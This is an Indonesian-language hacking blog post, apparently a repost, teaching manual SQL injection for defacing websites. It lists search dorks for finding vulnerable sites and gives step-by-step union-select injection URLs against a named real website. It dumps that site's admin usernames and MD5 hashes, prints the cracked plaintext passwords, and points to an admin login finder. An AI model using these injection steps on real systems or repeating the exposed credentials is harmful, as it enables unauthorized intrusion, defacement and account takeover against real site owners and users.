SQLI atau Sqli injection adalah suatu teknik hacking yang di gunakan oleh penyerang/attacker untuk mendapatkan sebuah database dengan menyisipkan perintah - perintah SQL melalui url yang memanfaatkan bug yang disebabkan oleh kesalahan coding atau kurang pemfilteran variabel.
Bagaimana cara mengetahui web tersebut vuln sqli?
Untuk mengetahui web tersebut vuln sqli atau terkena celah sqli adalah dengan cara membuat error url tersebut, dengan menambahkan karakter (') pada id di akhir url,contoh: target.com/index.php?id=sql'
target.com/index.php?id=1'
Langsung saja ke tutorialnya.
Tutorial
Pertama-tama kita cari target dengan dork, anggap saja kalian udah pada mengerti, ini saya kasih contoh dork, kalian kembangin lagi sendiri.inurl:play_old.php?id=
inurl:games.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
Dan saya sudah punya target www.mywaymedia.it/readMore.php?id=15
Selanjutnya kita coba test web tersebut vuln atau tidak dengan menambahkan karakter (') , maka jadinya seperti ini
www.mywaymedia.it/readMore.php?id=15'
Dan ternyata error
Notice: Use of undefined constant Errore - assumed 'Errore' in /var/www/www.mywaymedia.it/readMore.php on line 15 ErroreYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1Untuk error website berbeda-beda
Berikut contoh-contoh error pada web yang terkena celah SQL Injection
- You have an error in your SQL syntax;
- Warning: mysql_fetch_array()
- Warning: mysql_num_rows()
Dan masih banyak lagi, bukan hanya error aja, web blank atau ada data yg hilang itu juga tanda vuln,
Disini saya akan menggunakan add ons hakbar untuk mempermudah menginjeksinya, yang belum punya bisa pasang disini,
Kalau sudah untuk menampilkan hakbar tekan F9,
Lanjut menginjeksi
Sekarang kita akan mencari berapa jumlah column database site itu dengan menambahkan perintah order by, tambahkan + untuk spasi, jadi perintahnya seperti ini
www.mywaymedia.it/readMore.php?id=15+order+by+1--
Lalu klik Execute Nanti web akan kembali normal,
lalu ganti angka 1 ke angka 2 dan seterusnya sampai ketemu error lagi agar lebih jelas lihat gambar dibawah
Disini saya menemukan errornya di order+by +5--
Berati kita sudah menemukan jumlah column database 4, loh kok 4? sedangkan disitu errornya di 5,
Begini saya jelaskan, setelah kita memasukan perintah order by 1 sampe 4 tidak ada error dan errornya di angka 5 secara logika berati di column 5 tidak ada di database site tersebut, jadi column database cuma sampe 4 aja, kurang lebih begitu.
Lanjut.
Selanjutnya kita masukan perintah union select, ganti order by dengan
+union+select+1,2,3,4--
dan sebelum angka di belakang url tersebut tambahkan tanda (-), maksud 1,2,3,4 itu adalah angka column tadi,
Maka perintahnya seperti berikut,
www.mywaymedia.it/readMore.php?id=-15+union+select+1,2,3,4--
maka nanti kita akan mendapatkan sebuah angka, disini saya mendaptkan angka 3 dan 4,
Kedua angka itu sebenarnya sama, kita pilih salah 1, saya memilih angka 3 untuk tahap selajutnya,
Sekarang kita lihat berapa version database site tersebut, ganti angka 3 di union select tadi dengan perintah
@@version
, maka perintahnya seperti berikut,www.mywaymedia.it/readMore.php?id=-15+union+select+1,2,@@version,4--
Nah kita tau version database tersebut 5.1.73 berati bisa kita lanjut, karena version 4 agak rumit, tapi rata-rata version 5 keatas,
Selanjutnya
@@version
kita ganti dengan perintah group_concat(table_name)
dan di akhir angka sebelum tanda --
tadi masukan perintah from+information_schema.tables+where+table_schema=database()
Maka perintahnya seperti berikut.
www.mywaymedia.it/readMore.php?id=-15+union+select+1,2,group_concat(table_name),4+from+information_schema.tables+where+table_schema=database()--
Maka nanti kita akan mendapatkan nama-nama table di database tersebut
Disini saya mendapatkan nama-nama table news,news_utf,tbl_users
Karena kita disini tujuanya deface berati kita mencari user dan password admin, berati kita cari table yang kemungkinan itu table admin, seperti admin dll,
disini saya mendapatkan table tbl_users
Selanjutnya kita ganti
group_concat(table_name)
menjadi group_concat(column_name)
dan from+information_schema.tables+where+table_schema=
menjadi from+information_schema.columns+where+table_name=
kemudian database()
kita ganti dengan table tbl_users yang sudah kita rubah dengan decimal, mengubah decimal bisa mengunakan tools disini atau bisa langsung menggunakan hakbar.kalau saya disini langsung menggunakan hakbar, caranya dengan cara klik SQL > MySQL > MySQL CHAR(), selanjutnya masukan nama table, maka akan jadi seperti berikut CHAR(116, 98, 108, 95, 117, 115, 101, 114, 115)
Maka perintahnya seperti berikut
www.mywaymedia.it/readMore.php?id=-15+union+select+1,2,group_concat(column_name),4+from+information_schema.columns+where+table_name=CHAR(116, 98, 108, 95, 117, 115, 101, 114, 115)--
Maka nanti kita akan mendapatkan nama-nama isi di table tbl_users,
Disini saya mendapatkan nama-nama table user_id,user_name,user_pass,user_lastaccess
Disini sudah terlihat nama table user_name dan user_pass berati langkah selajutnya melihat datanya
Ganti
group_concat(column_name)
menjadi group_concat(user_name,0x3a,user_pass)
untuk 0x3a
itu decimal dari tanda (:)Dan ganti
from+information_schema.columns+where+table_name=CHAR(116, 98, 108, 95, 117, 115, 101, 114, 115)
menjadi from+tbl_users
Maka perintahnya seperti berikut
www.mywaymedia.it/readMore.php
?id=-15+union+select+1,2,group_concat(user_name,0x3a,user_pass),4+from+tbl_users--
Dan kita sudah mendapatkan username dan password site tersebut
publishing@vivacom.com:67e84f9ebb0d4a3f782d61edc9a91528
myway:a17e60c21d70e8d576e4d1dfce3ba1f8
User: publishing@vivacom.com
Password: 67e84f9ebb0d4a3f782d61edc9a91528
dan
User: myway
Password: a17e60c21d70e8d576e4d1dfce3ba1f8
Untuk password masih berbentuk hash MD5, bisa kalian hash disini,
Maka akan muncul password aslinya
67e84f9ebb0d4a3f782d61edc9a91528 MD5 : 190773_v
a17e60c21d70e8d576e4d1dfce3ba1f8 MD5 : 12MMant
Maka hasilnya seperti berikut
User: publishing@vivacom.comPassword: 190773_v
dan
User: myway
Password: 12MMant
Selesai, selanjutnya mencari halaman login
Tambahkan /admin/login.php
Jika Anlognya tidak ketemu klik link dibawah ini
http://tools.cukimay.myrasta.in/admf.php
Sekian, Thanks For Reading And Viewer
AUTHOR: TU4N B34R
source:http://www.idiot-attacker.com/2015/12/tutorial-deface-dengan-sqli-manual.html?m=1
Tidak ada komentar:
Posting Komentar